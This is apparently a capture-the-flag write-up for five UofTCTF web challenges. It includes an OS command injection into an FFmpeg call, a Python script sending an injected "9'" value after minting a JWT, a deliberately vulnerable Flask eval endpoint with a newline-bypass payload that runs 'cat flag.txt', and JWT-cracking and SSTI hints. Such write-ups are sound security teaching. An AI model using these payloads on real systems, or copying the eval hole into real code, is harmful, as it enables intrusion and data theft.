NOTEDescription : he University of Toronto is hosting its second inaugural Capture the Flag competition. It will be jeopardy-style, held online with categories such as Web, Pwn, Rev, Crypto, Misc, and more! There will be plenty of challenges for both beginner and experienced players. The team size is limited to 4 players per team. This competition is organized by UofTCTF, GDSC (UTM), and MCSS (UTM) and sponsored by AON, UofT Department of Computer Science, UofT Information Security and Enterprise Architecture, LetsDefend.io
Name | uoftctf |
---|---|
URL | UofTCTF, Ctf-Time |
Category | Web |
1. Voice Changer - OS Injection
This website uses FFmpeg to generate an OGG file. In this challenge, an OS injection vulnerability exists in the FFmpeg command.
Let’s attempt to induce a delay in the command using $(sleep 10)
.
The image reveals a 10-second delay resulting from the execution of the sleep command.
Solution
To exploit this vulnerability, our approach involves redirecting the flag to our webhook site:
❯ echo 'dW9mdGN0ZntZMFVSIFBpdGNoIElTIDcwTyBIITlIfQ==' |base64 -d
uoftctf{Y0UR Pitch IS 70O H!9H}%
2. The Varsity
Solution:
To address the issue, generate a valid (JWT) and proceed by sending a POST request to article number 9 with this json {“issue”:“9’“}
import requests
url = "https://uoftctf-the-varsity.chals.io:443/register"
json={"username": "achuxer"}
reg = requests.post(url, json=json)
valid_jwt = reg.headers["Set-Cookie"].split("=")[1].split(";")[0]
session = requests.session()
_url = "https://uoftctf-the-varsity.chals.io:443/article"
_cookies = {"token": valid_jwt}
_json={"issue": "9'"}
flag = session.post(_url, cookies=_cookies, json=_json)
print(flag.json()["content"])
3. No Code - Eval
Source
from flask import Flask, request, jsonify
import re
app = Flask(__name__)
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.form.get('code', '')
if re.match(".*[\x20-\x7E]+.*", code):
return jsonify({"output": "jk lmao no code"}), 403
result = ""
try:
result = eval(code)
except Exception as e:
result = str(e)
return jsonify({"output": result}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)
Solution
Sending \n in the start of your payload cz re.match() will only match at the beginning of the string and not at the beginning of each line.
#!/usr/bin/env python3
import requests
import string,sys
url = 'https://uoftctf-no-code.chals.io/execute'
payload = "\n__import__('os').popen('cat flag.txt').read()"
data = {
'code': payload
}
response = requests.post(url, data=data)
print(response.text)
4. Guestbook - Hidden Flag
Solution
By reading the html source you can see POST action directed towards a Google Spreadsheet with the parameter “sheetID”
After googling around,with this id you can obtain spreadsheet docs.
https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit
Following this step, you can notice two hidden rows. Once I copied the doc, I had access to the flag
5. My First App - JWT / SSTI
Solution
Initially, you must crack a JWT to reveal the jwt_key. Furthermore, there’s an SSTI in the username field from the JWT-cookie, but with certain blacklisted characters/words.
PY:
For The Code : Github